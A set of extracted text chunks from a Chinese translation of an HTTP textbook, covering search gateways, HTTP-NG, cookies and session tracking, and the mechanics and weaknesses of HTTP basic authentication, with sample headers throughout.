    {"text": "Welcome to Joe ’s Hardware Search for: drills Submit 用户在浏览器中填写站点的HTML搜索表单（通过 HTTP方法的GET动作），单击Submit（提交） 客户端 请求报文 查询：drills GET /search.html?query=drills HTTP/1.1 Host: www.joes-hardware.com Accept: * User-agent: ShopBot 结果：文件BD.html www.joes-hardware.com 搜索网关 响应报文 HTTP/1.1 200 OK Content-type: text/html Content-length: 1037 <HTML> <HEAD><TITLE>Search Results</TITLE> <A HREF=/BD.html>Black and Decker Drills</A> [...] 图 9-9 搜索查询请求的实例 注 28： 传送这条请求的方法与所使用的搜索策略有关。"},
    {"text": "Web机器人 ｜ 257 9.6.5 对结果进行排序，并提供查询结果 一旦搜索引擎通过其索引得到了查询结果，网关应用程序会获取结果，并将其拼成 244 结果页面提供给终端用户。"},
    {"text": "为 了将相关度最高的结果提供给用户，搜索引擎要知道应该按照什么顺序来提供结果 列表中的文档。 这被称为相关性排名（relevancy ranking）——这是对一系列搜索结 果的评分和排序处理。"},
    {"text": "9.6.6 欺诈 在搜索请求得到的前几个结果中没有看到自己想要查找的内容时，用户通常会感到 很沮丧，因此，查找站点时搜索结果的顺序是很重要的。"},
    {"text": "在搜索网管们认为能够最 245 好地描述其站点功能的单词时，会有众多因素激励着这些网管，努力使其站点排在 靠近结果顶端的位置上，尤其是那些依赖于用户找到它们，并使用其服务的商业 站点。"},
    {"text": "这种对较好排列位置的期待引发了很多对搜索系统的博弈，也在搜索引擎的实现者 和那些想方设法要将其站点列在突出位置的人之间引发了持久的拉锯战。"},
    {"text": "很多网 管都列出了无数关键字（有些是毫不相关的），使用一些假冒页面，或者采用欺诈 （spoof）行为——甚至会用网关应用程序来生成一些在某些特定单词上可以更好地 欺骗搜索引擎相关性算法的假冒页面。"},
    {"text": "258 ｜ 第 9 章 • http://www.searchengineworld.com 搜索引擎世界——搜索引擎和机器人的相关资源。 • http://www.searchtools.com Web 站点和内部网络的搜索工具——搜索工具和机器人的相关资源。"},
    {"text": "• Managing Gigabytes: Compressing and Indexing Documents and Images （《海量数 据管理——文档和图像的压缩与索引》） Witten, I.、Moffat, A. 和 Bell, T. 编写，Morgan Kaufmann 公司出版。"},
    {"text": "HTTP/1.1 现在提供了可以追踪文档版本的标记和指纹，提供了一些方法来支持文档 的上传以及与可编程网关之间的交互，还提供对多语言内容、安全及认证功能、降 低流量的缓存功能、减小时延的管道功能、降低启动时间提高带宽使用效率的持久 连接，以及用来进行部分更新的访问范围功能的支持。"},
    {"text": "由于存在一些复杂的、相互交 织的要求，以及连接管理、报文处理和功能逻辑之间的混合作用，要想正确地实 现 HTTP 软件肯定是非常痛苦、很容易出错的。"},
    {"text": "• 可扩展性 HTTP 很难实现递增式扩展。 很多流传下来的 HTTP 应用程序中都没有自主的功 能性扩展技术，使协议的扩展无法兼容。 • 性能 HTTP 中有些部分效率不高。"},
    {"text": "10.2 HTTP-NG的活动 1997 年夏天，万维网联盟启动了一个特殊项目，调查并提出一个新的 HTTP 版本， 以修正与复杂性、可扩展性、性能及传输依赖性有关的一些问题。"},
    {"text": "HTTP-NG ｜ 263 第三层 Web应用功能 HTTP-NG 第二层 远程操作调用 二进制连接协议 第一层 报文传输 WebMUX 底层网络传输 TCP/IP 图 10-1 HTTP-NG 将功能都分散到各层之中实现 只要将 HTTP 组件模块化了，就可以对其进行改进，以提供更好的性能和更丰富的 特性。"},
    {"text": "在 Web 中使用分布式对象模型有很多好处，更多与此相关的信息请 查阅 Xerox PARC 早期名为“Migrating the Web Toward Distributed Objects”（“Web 249 向分布式对象的迁移”）的文章（ftp://ftp.parc.xerox.com/pub/ilu/misc/Webilu.html）。"},
    {"text": "• 复用——可以在一条连接上动态、高效地交错传递多个（使用任意高层协议的） 251 数据流，不用因为等待那些速度很慢的生产者程序而延迟数据的传输。"},
    {"text": "工业界和各社团都还没有完全调整到 HTTP/1.1 上来，如果没有明确的转换计划 就进行重大的 HTTP-NG 重构计划，将其重构为分布式对象模式可能会造成严重 252 的破坏。"},
    {"text": "但随着 HTTP 应用的 不断增多，随着它越来越多地作为各种应用程序的平台使用，以及无线因特网技 术和面向消费者的因特网技术的不断应用，HTTP-NG 中提出的一些技术可能会在 HTTP 的青少年时期逐渐显现出其重要性。"},
    {"text": "HTTP-NG ｜ 267 • http://www.w3.org/Protocols/MUX/WD-mux-980722.html J. Gettys 和 H. Nielsen 编写的“The WebMUX Protocol”(“WebMUX 协议”)。 • http://www.w3.org/Protocols/HTTP-NG/1998/08/draft-janssen-httpng-wire-00.txt B. Janssen 编写的“Binary Wire Protocol for HTTP-NG”(“HTTP-NG 的二进制 连接协议”)。 • http://www.w3.org/Protocols/HTTP-NG/1998/08/draft-larner-nginterfaces-00.txt D. Larner 编写的“HTTP-NG Web Interfaces”(“HTTP-NG Web 接口”)。"},
    {"text": "• ftp://ftp.parc.xerox.com/pub/ilu/misc/Webilu.html D. Larner 编写的“Migrating the Web Toward Distributed Objects”(“Web 向分 253 布式对象的迁移”)。"},
    {"text": "表11-1 承载用户相关信息的HTTP首部 首部名称 首部类型 描 述 From 请求 用户的 E-mail 地址 User-Agent 请求 用户的浏览器软件 Referer 请求 用户是从这个页面上依照链接跳转过来的 Authorization 请求 用户名和密码（稍后讨论） Client-IP 扩展（请求） 客户端的 IP 地址（稍后讨论） X-Forwarded-For 扩展（请求） 客户端的 IP 地址（稍后讨论） Cookie 扩展（请求） 服务器产生的 ID 标签（稍后讨论） From 首部包含了用户的 E-mail 地址。"},
    {"text": "下面是两种 User-Agent 首部，一种是网景的 Navigator 发送 的，另一种是微软的 Internet Explorer 发送的： • Navigator 6.2 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1 • Internet Explorer 6.01 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Referer 首部提供了用户来源页面的 URL。"},
    {"text": "如果每个用 户都有不同的 IP 地址，IP 地址（如果会发生变化的话）也很少会发生变化，而且 Web 服务器可以判断出每条请求的客户端 IP 地址的话，这种方案是可行的。"},
    {"text": "比如，在 Unix 系统中，函数调用 getpeername 就可以返回发送端机器的客户端 IP 地址： status = getpeername(tcp_connection_socket,...); 但是，使用客户端 IP 地址来识别用户存在着很多缺点，限制了将其作为用户识别技 术的效能。"},
    {"text": "• 为了提高安全性，并对稀缺的地址资源进行管理，很多用户都是通过网络地址转 换（Network Address Translation，NAT）防火墙来浏览网络内容的。 这些 NAT 设备隐藏了防火墙后面那些实际客户端的 IP 地址，将实际的客户端 IP 地址转换 成了一个共享的防火墙 IP 地址（和不同的端口号）。"},
    {"text": "274 ｜ 第 11 章 代理服务器 客户端 56.41.11.4 服务器 209.172.34.56 Client-ip: 209.172.34.56 X-Forwarded-For : 209.172.34.56 图 11-1 代理可以添加扩展首部，来传递原始客户端的 IP 地址 少数站点甚至将客户端 IP 地址作为一种安全特性使用，它们只向来自特定 IP 地址 的用户提供文档。"},
    {"text": "11.4 用户登录 Web 服务器无需被动地根据用户的 IP 地址来猜测他的身份，它可以要求用户通过 用户名和密码进行认证（登录）来显式地询问用户是谁。"},
    {"text": "261 注 2： 为了不让用户每发送一条请求都要登录一次，大多数浏览器都会记住某站点的登录信息，并将登录信 息放在发送给该站点的每条请求中。"},
    {"text": "客户端识别与cookie机制 ｜ 275 (a) GET /index.html HTTP/1.0 Host: www.joes-hardware.com 因特网 客户端 服务器 (b) HTTP/1.0 401 Login Required WWW-authenticate: Basic realm=\"Plumbing and Fixtures\" 因特网 客户端 服务器 (c) GET /index.html HTTP/1.0 Host: www.joes-hardware.com Authorization: Basic am910jRmdW4= 因特网 客户端 服务器 (d ) HTTP/1.0 200 OK Content-length: 4342 Content-type: text/html ... 因特网 客户端 服务器 图 11-2 用 HTTP 认证首部注册用户名 • 只要用户输入了用户名和密码（对其身份进行完整性检查），浏览器就会重复原 来的请求。"},
    {"text": "每个 URL 后面都附加了一个用户特有的标 识码（在这个例子中就是 002-1145265-8016838），这个标识码有助于在用户浏览商 店内容时对其进行跟踪。"},
    {"text": "262 ... <a href=\"/exec/obidos/tg/browse/-/229220/ref=gr_gifts/ 002-1145265-8016838 \">All Gifts</a><br> <a href=\"/exec/obidos/wishlist/ref=gr_pl1_/ 002-1145265-8016838 \">Wish List</a><br> ... <a href=\"http://s1.amazon.com/exec/varzea/tg/armed-forces/-//ref=gr_ af_/ 002-1145265-8016838 \">Salute Our Troops</a><br> <a href=\"/exec/obidos/tg/browse/-/749188/ref=gr_p4_/ 002-1145265-8016838 \" >Free Shipping</a><br> <a href=\"/exec/obidos/tg/browse/-/468532/ref=gr_returns/ 002-1145265-8016838 \" >Easy Returns</a> ... 可以通过胖 URL 将 Web 服务器上若干个独立的 HTTP 事务捆绑成一个“会话”或 “访问”。"},
    {"text": "用户首次访问这个 Web 站点时，会生成一个唯一的 ID，用服务器可以识 别的方式将这个 ID 添加到 URL 中去，然后服务器就会将客户端重新导向这个胖 URL。 不论什么时候，只要服务器收到了对胖 URL 的请求，就可以去查找与那个用 户 ID 相关的所有增量状态（购物车、简介等），然后重写所有的输出超链，使其成 为胖 URL，以维护用户的 ID。 可以在用户浏览站点时，用胖 URL 对其进行识别。"},
    {"text": "(a) GET /index.html HTTP/1.0 Host: www.joes-hardware.com 因特网 客户端 服务器 HTTP/1.0 200 OK Set-cookie: id=\"34294\"; domain=\"joes-hardware.com\" (b) Content-type: text/html Content-length: 1903 Set-Cookie ... id=\"34294\" 因特网 客户端 服务器 (c) GET /index.html HTTP/1.0 Host: www.joes-hardware.com Cookie Cookie: id=\"34294\" id=\"34294\" 因特网 客户端 服务器 图 11-3 给用户贴一个 cookie cookie 中可以包含任意信息，但它们通常都只包含一个服务器为了进行跟踪而产 生的独特的识别码。"},
    {"text": "比如： Cookie: name=\"Brian Totty\"; phone=\"555-1212\" 浏 览 器 会 记 住 从 服 务 器 返 回 的 Set-Cookie 或 Set-Cookie2 首 部 中 的 cookie 内 容，并将 cookie 集存储在浏览器的 cookie 数据库中（把它当作一个贴有不同国家贴 纸的旅行箱）。"},
    {"text": "11.6.3 cookie罐：客户端的状态 cookie 的基本思想就是让浏览器积累一组服务器特有的信息，每次访问服务器时都 264 将这些信息提供给它。 因为浏览器要负责存储 cookie 信息，所以此系统被称为客户 端侧状态（client-side state）。 这个 cookie 规范的正式名称为 HTTP 状态管理机制 （HTTP state management mechanism）。"},
    {"text": "例如： # Netscape HTTP Cookie File # http://www.netscape.com/newsref/std/cookie_spec.html # This is a generated file! Do not edit. # # domain allh path secure expires name value www.fedex.com FALSE / FALSE 1136109676 cc /us/ .bankofamericaonline.com TRUE / FALSE 1009789256 state CA .cnn.com TRUE / FALSE 1035069235 SelEdition www secure.eepulse.net FALSE /eePulse FALSE 1007162968 cid %FE%FF%002 www.reformamt.org TRUE /forum FALSE 1033761379 LastVisit 1003520952 www.reformamt.org TRUE /forum FALSE 1033761379 UserName Guest ... 文本文件中的每一行都代表一个 cookie。"},
    {"text": "名字=“session-id” 可以在一个文本 查看器程序中打 值=“002-9351993-5692007” 开MSIE cookie 域/路径=“amazon.com” 其他属性的特有格式 cookie 每个cookie文件中都有某个特 cookie 定站点的cookie，这些cookie 一个接一个地存储在文本行中 MSIE将cookie与其他缓存对象存储在相 同的位置 图 11-4 Internet Explorer 的 cookie 存储在缓存目录下独立的文本文件中 客户端识别与cookie机制 ｜ 281 文件中每个 cookie 的第一行中都包含了 cookie 的变量名。"},
    {"text": "1. cookie的域属性 产生 cookie 的服务器可以向 Set-Cookie 响应首部添加一个 Domain 属性来控制 哪些站点可以看到那个 cookie。 比如，下面的 HTTP 响应首部就是在告诉浏览器将 267 cookie user=\"mary17\" 发送给域 \".airtravelbargains.com\" 中的所有站点： Set-cookie: user=\"mary17\"; domain=\"airtravelbargains.com\" 如果用户访问的是 www.airtravelbargains.com、specials.airtravelbargains.com 或任意 以 .airtravelbargains.com 结尾的站点，下列 Cookie 首部都会被发布出去： Cookie: user=\"mary17\" 282 ｜ 第 11 章 2. cookie路径属性 cookie 规范甚至允许用户将 cookie 与部分 Web 站点关联起来。 可以通过 Path 属性 来实现这一功能，在这个属性列出的 URL 路径前缀下所有 cookie 都是有效的。"},
    {"text": "站 点 www.airtravelbargains.com 可 能 会 将 部 分 Web 站 点 用 于 汽 车 租 赁 —— 比 如， http://www.airtravelbargains.com/autos/——用一个独立的 cookie 来记录用户喜欢的 汽车尺寸。 可能会生成一个如下所示的特殊汽车租赁 cookie： Set-cookie: pref=compact; domain=\"airtravelbargains.com\"; path=/autos/ 如果用户访问 http://www.airtravelbargains.com/specials.html，就只会获得这个 cookie： Cookie: user=\"mary17\" 但 如 果 访 问 http://www.airtravelbargains.com/autos/cheapo/index.html， 就 会 获 得 这 两个 cookie： Cookie: user=\"mary17\" Cookie: pref=compact 因此，cookie 就是由服务器贴到客户端上，由客户端维护的状态片段，只会回送给 那些合适的站点。"},
    {"text": "表11-2 cookie规范 标 题 描 述 位 置 持久客户端状态： 最初的 Netscape cookie 标准 http://home.netscape.com/newsref/std/ HTTP cookies cookie_spec.html RFC 2965：HTTP 2000 年 10 月的 cookie 标准，废弃 http://www.ietf.org/rfc/rfc2965.txt 状态管理机制 了 RFC 2109 268 客户端识别与cookie机制 ｜ 283 11.6.6 cookies版本0（Netscape） 最 初 的 cookie 规 范 是 由 网 景 公 司 定 义 的。"},
    {"text": "这 些“ 版 本 0” 的 cookie 定 义 了 Set- Cookie 响应首部、cookie 请求首部以及用于控制 cookie 的字段。 版本 0 的 cookie 看起来如下所示： Set-Cookie: name=value [; expires=date] [; path=path] [; domain=domain] [; secure] Cookie: name1=value1 [; name2=value2] ... 1. 版本0的 Set-Cookie 首部 Set-Cookie 首部有一个强制性的 cookie 名和 cookie 值。"},
    {"text": "如果没有指定域，就默认为产生 Set-Cookie 响应的服务器的主机名： Set-Cookie: SHIPPING=FEDEX; domain=\"joes-hardware.com\" 284 ｜ 第 11 章 （续） Set-Cookie 属性 描述及实例 Path 可选的。"},
    {"text": "如果包含了这一属性，就只有在 HTTP 使用 SSL 安全连接时才会发送 cookie： Set-Cookie: private_id=519; secure 269 2. 版本0的 Cookie 首部 客户端发送请求时，会将所有与域、路径和安全过滤器相匹配的未过期 cookie 都发 送给这个站点。 所有 cookie 都被组合到一个 Cookie 首部中： Cookie: session-id=002-1145265-8016838; session-id-time=1007884800 11.6.7 cookies版本1（RFC 2965） RFC 2965（以前的 RFC 2109）定义了一个 cookie 的扩展版本。"},
    {"text": "cookie 版本 1 的语法如下所示： 270 set-cookie = \"Set-Cookie2:\" cookies cookies = 1#cookie cookie = NAME \"=\" VALUE *(\";\" set-cookie-av) NAME = attr VALUE = value set-cookie-av = \"Comment\" \"=\" value 客户端识别与cookie机制 ｜ 285 | \"CommentURL\" \"=\" <\"> http_URL <\"> | \"Discard\" | \"Domain\" \"=\" value | \"Max-Age\" \"=\" value | \"Path\" \"=\" value | \"Port\" [ \"=\" <\"> portlist <\"> ] | \"Secure\" | \"Version\" \"=\" 1*DIGIT portlist = 1#portnum portnum = 1*DIGIT cookie = \"Cookie:\" cookie-version 1*((\";\" | \",\") cookie-value) cookie-value = NAME \"=\" VALUE [\";\" path] [\";\" domain] [\";\" port] cookie-version = \"$Version\" \"=\" value NAME = attr VALUE = value path = \"$Path\" \"=\" value domain = \"$Domain\" \"=\" value port = \"$Port\" [ \"=\" <\"> value <\"> ] cookie2 = \"Cookie2:\" cookie-version 1. 版本1的 Set-Cookie2 首部 版本 1 的 cookie 标准比网景公司标准的可用属性要多。"},
    {"text": "如果有端口列表，就只能向端口与列表中的端 口相匹配的服务器提供 cookie。 如果单独提供关键字 Port 而没有值，就只 能向当前响应服务器的端口号提供 cookie： Set-Cookie2: foo=\"bar\"; Version=\"1\"; Port=\"80,81,8080\" Set-Cookie2: foo=\"bar\"; Version=\"1\"; Port Secure 可选。"},
    {"text": "如果包含这个属性，就只有在 HTTP 使用 SSL 安全连接时才能发送 cookie 271 2. 版本1的 Cookie 首部 版本 1 的 cookie 会带回与传送的每个 cookie 相关的附加信息，用来描述每个 cookie 途径的过滤器。"},
    {"text": "比如，假设客户端以前曾收到下列五个来自 Web 站点 www.joes-hardware.com 的 Set-Cookie2 响应： Set-Cookie2: ID=\"29046\"; Domain=\".joes-hardware.com\" Set-Cookie2: color=blue Set-Cookie2: support-pref=\"L2\"; Domain=\"customer-care.joes-hardware. com\" Set-Cookie2: Coupon=\"hammer027\"; Version=\"1\"; Path=\"/tools\" Set-Cookie2: Coupon=\"handvac103\"; Version=\"1\"; Path=\"/tools/cordless\" 如果客户端对路径 /tools/cordless/specials.html 又发起了一次请求，就会同时发送这 样一个很长的 Cookie 首部： Cookie: $Version=\"1\"; ID=\"29046\"; $Domain=\".joes-hardware.com\"; color=\"blue\"; Coupon=\"hammer027\"; $Path=\"/tools\"; Coupon=\"handvac103\"; $Path=\"/tools/cordless\" 客户端识别与cookie机制 ｜ 287 注意，所有匹配 cookie 都是和它们的 Set-Cookie2 过滤器一同传输的，而且保留 关键字都是以美元符号（$）开头的。"},
    {"text": "3. 版本1的 Cookie2 首部和版本协商 Cookie2 请求首部负责在能够理解不同 cookie 规范版本的客户端和服务器之间进行 互操作性的协商。 Cookie2 首部告知服务器，用户 Agent 代理理解新形式的 cookie， 并提供了所支持的 cookie 标准版本（将其称为 Cookie-Version 更合适一些）： Cookie2: $Version=\"1\" 如果服务器理解新形式的 cookie，就能够识别出 Cookie2 首部，并在响应首部发送 Set-Cookie2（而不是 Set-Cookie）。"},
    {"text": "如果客户端从同一个响应中既获得了 Set- Cookie 首部，又获得了 Set-Cookie2 首部，就会忽略老的 Set-Cookie 首部。 如果客户端既支持版本 0 又支持版本 1 的 cookie，但从服务器获得的是版本 0 的 Set-Cookie 首部，就应该带着版本 0 的 Cookie 首部发送 cookie。 但客户端还应 该发送 Cookie2: $Version=“1”来告知服务器它是可以升级的。"},
    {"text": "11.6.8 cookie与会话跟踪 可以用 cookie 在用户与某个 Web 站点进行多项事务处理时对用户进行跟踪。 电子 商务 Web 站点用会话 cookie 在用户浏览时记录下用户的购物车信息。"},
    {"text": "在浏览器中输入 http://www.amazon.com 时，就启 动了一个事务链，在这些事务中 Web 服务器会通过一系列的重定向、URL 重写以 及 cookie 设置来附加标识信息。"},
    {"text": "• 图 11-5b——服务器将客户端重定向到一个电子商务软件的 URL 上。 • 图 11-5c——客户端对重定向的 URL 发起一个请求。 • 图 11-5d——服务器在响应上贴上两个会话 cookie，并将用户重定向到另一个 URL，这样客户端就会用这些附加的 cookie 再次发出请求。"},
    {"text": "288 ｜ 第 11 章 • 图 11-5f——服务器重定向到 home.html 页面，并附加另外两个 cookie。 • 图 11-5g——客户端获取 home.html 页面并将所有四个 cookie 都发送出去。"},
    {"text": "客户端 www.amazon.com GET / HTTP/1.0 (a) Host: www.amazon.com HTTP/1.1 302 Found (b) Location: http://www.amazon.com:80/exec/obidos/subst/home/redirect.html GET /exec/obidos/subst/home/redirect.html HTTP/1.0 (c) Host: www.amazon.com HTTP/1.1 302 Found Date: Sun, 02 Dec 2001 03:20:47 GMT Set-cookie: session-id=002-1145265-8016838; path=/; domain=.amazon.com; (d) expires=Sunday, 09-Dec-2001 08:00:00 GMT Set-cookie: session-id-time=1007884800; path=/; domain=.amazon.com; expires=Sunday, 09-Dec-2001 08:00:00 GMT GET /exec/obidos/subst/home/redirect.html/002-1145265-8016838 HTTP/1.0 Host: www.amazon.com (e) Cookie: session-id=002-1145265-8016838; session-id-time=1007884800 HTTP/1.1 302 Found Date: Sun, 02 Dec 2001 03:45:40 GMT Set-cookie: ubid-main=430-8248051-6231206; path=/; domain.amazon.com; (f) expires=Tuesday, 01-Jan-2036 08:00:01 GMT Location: http://www.amazon.com/exec/obidos/subst/home/home.html/002-1145265-8016838 Set-cookie: x-main=\"hQ...Bf; path=/; domain=.amazon.com; expires=Tuesday, 01-Jan-2036 08:00:01 GMT GET /exec/obidos/subst/home/home.html/002-1145265-8016838 HTTP/1.0 Host: www.amazon.com (g) Cookie: session-id=002-1145265-8016838; session-id-time=1007884800; ubid-main=430-8248051-6231206; x-main=hQ...Bf (h) 图 11-5 Amazon.com 网站用会话 cookie 来跟踪用户 客户端识别与cookie机制 ｜ 289 11.6.9 cookie与缓存 缓存那些与 cookie 事务有关的文档时要特别小心。"},
    {"text": "• 如果无法缓存文档，要将其标示出来 文档的所有者最清楚文档是否是不可缓存的。 如果文档不可缓存，就显式地注 明 —— 具 体 来 说， 如 果 除 了 Set-Cookie 首 部 之 外 文 档 是 可 缓 存 的， 就 使 用 Cache-Control:no-cache=\"Set-Cookie\"。"},
    {"text": "有些缓存在将响应缓存起来之前会删除 Set-Cookie 首部，但这样也会引发一 些问题，因为在没有缓存的时候，通常都会有 cookie 贴在客户端上，但由缓存 ~273 274 提供服务的客户端就不会有 cookie 了。 强制缓存与原始服务器重新验证每条请 求，并将返回的所有 Set-Cookie 首部都合并到客户端的响应中去，就可以改 善这种状况。 原始服务器可以通过向缓存的副本中添加这个首部来要求进行这种 再验证： Cache-Control: must-revalidate, max-age=0 即便内容实际上是可以缓存的，比较保守的缓存可能也会拒绝缓存所有包含 Set-Cookie 首部的响应。"},
    {"text": "290 ｜ 第 11 章 11.6.10 cookie、安全性和隐私 cookie 是可以禁止的，而且可以通过日志分析或其他方式来实现大部分跟踪记录， 所以 cookie 自身并不是很大的安全隐患。"},
    {"text": "尽管有这么多负面的宣传，人们通常还是认为，如果能够小心地确认在向谁提供私 人信息，并仔细查阅站点的隐私政策，那么，cookie 会话处理和事务处理所带来的 便利性要比大部分风险更重要。"},
    {"text": "无论用户何时返回一个站点，都可以通过持久cookie 来识别其身份，以便跟踪用户的浏览习惯。 你来自何处，以及访问过哪些 Web页面等信息已经存储在Web服务器的日志文件中了，也可以用这些信 息来跟踪用户的浏览习惯，只是使用cookie更简单一些罢了。"},
    {"text": "• http://www.ietf.org/rfc/rfc2965.txt RFC 2965，“HTTP State Management Mechanism”（“HTTP 状态管理机制”）（废 弃了 RFC 2109）。 • http://www.ietf.org/rfc/rfc2964.txt RFC 2964，“Use of HTTP State Management”（“HTTP 状态管理的用途”）。"},
    {"text": "• http://home.netscape.com/newsref/std/cookie_spec.html 这个经典的网景公司文档“Persistent Client State: HTTP Cookies”（“持久的客户端 276 状态：HTTP Cookies”）描述了现在仍在广泛使用的 HTTP cookie 的最初形式。"},
    {"text": "HTTP 为认证提供了一种原生工具。 尽管我们可以在 HTTP 的认证形式和 cookie 基础之上“运行自己的”认证工具，但在很多情况下， HTTP 的原生认证功能就可以很好地满足要求。 本章阐述了 HTTP 的认证机制，深入介绍了最常见的 HTTP 认证形式，基本认证 （basic authentication）。"},
    {"text": "Web 应用程序收到一条 HTTP 请求报文时，服务器没有按照请求执行动作，而是以 一个“认证质询”进行响应，要求用户提供一些保密信息来说明他是谁，从而对其 进行质询。"},
    {"text": "客户端 服务器 图 12-1 简化的质询 / 响应认证框架 12.1.2 认证协议与首部 HTTP 通过一组可定制的控制首部，为不同的认证协议提供了一个可扩展框架。"},
    {"text": "表12-1 认证的4个步骤 步骤 首 部 描 述 方法/状态 请求 第一条请求没有认证信息 GET 质询 WWW-Authenticate 服务器用 401 状态拒绝了请求，说明需要用 401 Unauthorized 户提供用户名和密码。"},
    {"text": "同样，认证算法也是在 WWW-Authenticate 首部中指定的 基本认证机制 ｜ 295 （续） 步骤 首 部 描 述 方法/状态 授权 Authorization 客户端重新发出请求，但这一次会附加一个 GET Authorization 首部，用来说明认证算法、 用户名和密码 成功 Authentication-Info 如 果 授 权 证 书 是 正 确 的， 服 务 器 就 会 将 200 OK 文 档 返 回。"},
    {"text": "客户端 服务器 GET /family/jeff.jpg HTTP/1.0 (a) HTTP/1.0 401 Authorization Required (b) WWW-Authenticate: Basic realm=\"Family\" GET /family/jeff.jpg HTTP/1.0 (c) Authorization: Basic YnJpYW4tdG90dHk6T3ch HTTP/1.0 200 OK (d) Content-type: image/jpeg ...<image data included> 图 12-2 基本认证实例 服务器对用户进行质询时，会返回一条 401 Unauthorized 响应，并在 WWW-Authenticate 279 首部说明如何以及在哪里进行认证（参见图 12-2b）。"},
    {"text": "/ 家庭域 corporate index.html family press financials jeff.jpg brian.jpg 服务器 pr1.html pr2.html sales-forecast.xls 公司财务域 图 12-3 Web 服务器上的安全域 下面是一个假想的基本认证质询，它指定了一个域： HTTP/1.0 401 Unauthorized WWW-Authenticate: Basic realm=\"Corporate Financials\" 域应该有一个描述性的字符名，比如 Corporate Financials（公司财务资料），以帮助 用户了解应该使用哪个用户名和密码。"},
    {"text": "用 户 输 入 用 户 名 和 密 码 时， 浏 览 器 会 用 一 个 冒 号 将 其 连 接 起 来， 编 码 成“ 经 过 扰 码 的 ”Base-64 表 示 形 式（ 下 节 介 绍 ）， 然 后 将 其 放 在 Authorization 首部中回送。"},
    {"text": "表 12-2 总结了 HTTP 基本认证的 WWW-Authenticate 和 Authorization 首部。 表12-2 基本认证首部 质询/响应 首部语法及描述 质询（服务器发往 网站的不同部分可能有不同的密码。"},
    {"text": "域就是一个引用字符串，用来命名所请求的 客户端） 文档集，这样用户就知道该使用哪个密码了： WWW-Authenticate: Basic realm=quoted-realm 响应（客户端发往 用冒号（ ：）将用户名和密码连接起来，然后转换成 Base-64 编码，这样在用户 服务器） 名和密码中包含国际字符会稍微容易一些，也能尽量避免通过观察网络流量并只 进行一些粗略的检查就可以获取用户名和密码情况的发生： 281 Authorization: Basic base64-username-and-password 注意，基本认证协议并没有使用表 12-1 所示的 Authentication-Info 首部。 12.2.2 Base-64 用户名/密码编码 HTTP 基本认证将（由冒号分隔的）用户名和密码打包在一起，并用 Base-64 编码 方式对其进行编码。"},
    {"text": "brian-totty （a）提示用户输入用户名和密码 Ow! brian-totty （b）用冒号将用户名和密码连接起来 brian-totty:Ow! Ow! （c）Base-64编码 BASE64ENC(brian-totty:Ow!) YnJpYW4tdG90dHk6T3ch （d）发送认证信息 客户端 服务器 GET /family/jeff.jpg HTTP/1.0 Authorization: Basic YnJpYW4tdG90dHk6T3ch 图 12-4 从用户名和密码中生成一个基本认证首部 Base-64 编码可以接受二进制字符串、文本、国际字符表示的数据（在某些系统中 会引发一些问题），将其暂时转换成一个易移植的字母表以便传输。"},
    {"text": "有些用户名和密码中会包含国际字符或其他在 HTTP 首部中非法的字符（比如引号、 冒号和回车换行符），对这些用户名和密码来说，Base-64 编码是非常有用的。"},
    {"text": "可以在代理服务器上对访问策略进行集中 管理，因此，通过代理服务器提供对某组织内部资源的统一访问控制是一种很便捷的 基本认证机制 ｜ 299 方式。"},
    {"text": "表12-3 Web服务器与代理认证 Web服务器 代理服务器 Unauthorized status code: 401 Unauthorized status code: 407 WWW-Authenticate Proxy-Authenticate Authorization Proxy-Authorization Authentication-Info Proxy-Authentication-Info 12.3 基本认证的安全缺陷 基本认证简单便捷，但并不安全。"},
    {"text": "虽然 Base-64 编码通过隐藏用户名和密码，致使友好的用户不太可能在 进行网络观测时无意中看到密码，但 Base-64 编码的用户名和密码可以很轻易地 通过反向编码过程进行解码，甚至可以用纸笔在几秒钟内手工对其进行解码！"},
    {"text": "如果有动机的第三方用 户有可能会去拦截基本认证发送的用户名和密码，就要通过 SSL 加密信道发送 283 所有的 HTTP 事务，或者使用更安全的认证协议，比如摘要认证。"},
    {"text": "(2) 即使密码是以更难解码的方式加密的，第三方用户仍然可以捕获被修改过的用户 名和密码，并将修改过的用户名和密码一次一次地重放给原始服务器，以获得对 服务器的访问权。"},
    {"text": "比如说，某个狡 猾的恶徒会从免费的因特网邮件网站捕获明文形式的用户名和密码，然后会发现 用同样的用户名和密码还可以访问重要的在线银行网站！"},
    {"text": "300 ｜ 第 12 章 (4) 基本认证没有提供任何针对代理和作为中间人的中间节点的防护措施，它们没有 修改认证首部，但却修改了报文的其余部分，这样就严重地改变了事务的本质。"},
    {"text": "如果在用户实际连接到一台恶意服务器或网关 的时候，能够让用户相信他连接的是一个受基本认证保护的合法主机，攻击者就 可以请求用户输入密码，将其存储起来以备未来使用，然后捏造一条错误信息传 送给用户。"},
    {"text": "这一切说明，在友好的环境，或者说是希望有隐私保护但隐私保护并不十分必要的 环境中，可以通过基本认证来提供便捷的文档个性化服务或访问控制保护。 通过这 种方式，可以用基本认证来防止一些好奇的用户无意中或不小心对文档进行访问。"},
    {"text": "• http://www.ietf.org/rfc/rfc2617.txt RFC 2617，“HTTP Authentication：Basic and Digest Access Authentication.” （“HTTP 认证：基本和摘要访问认证”） • http://www.ietf.org/rfc/rfc2616.txt 285 RFC 2616，“Hypertext Transfer Protocol-HTTP/1.1.”（“ 超 文 本 传 输 协 议 —— HTTP/1.1”。"},
    {"text": "） 注 1： 小心，基本认证中使用的用户名和密码要有别于你在更安全的系统中所使用的密码，否则恶意用户就 可以用它们来攻破你的安全账户了！"},
    {"text": "这也说明，公司 确实会有间谍，也确实会有不满，想要报复的员工，所以，明智的做法是对一旦被恶意获取就会造成 很大损害的数据应用更安全的策略。"},
    {"text": "摘要认证与基本认证兼容，但却更为安全。 本章主要介绍摘要认证的原理和实际应用。 尽管摘要认证还没有得到广泛应用，但对实现安全事务来说，这些概念是非常重要的。"},
    {"text": "但由于基本认证存在固有的安全风险， HTTP 设计者曾在 RFC 2617 中建议：“在可行的情况下应该将目前在用的所有使用 基本认证的服务，尽快地转换为摘要认证方式。"},
    {"text": "只拿到摘要的 话，除了将所有的密码都拿来试试之外，没有其他方法可以找出摘要是来自哪个密 注 1： 用户名和密码用 Base-64 编码进行了扰码，但很容易被解码。"},
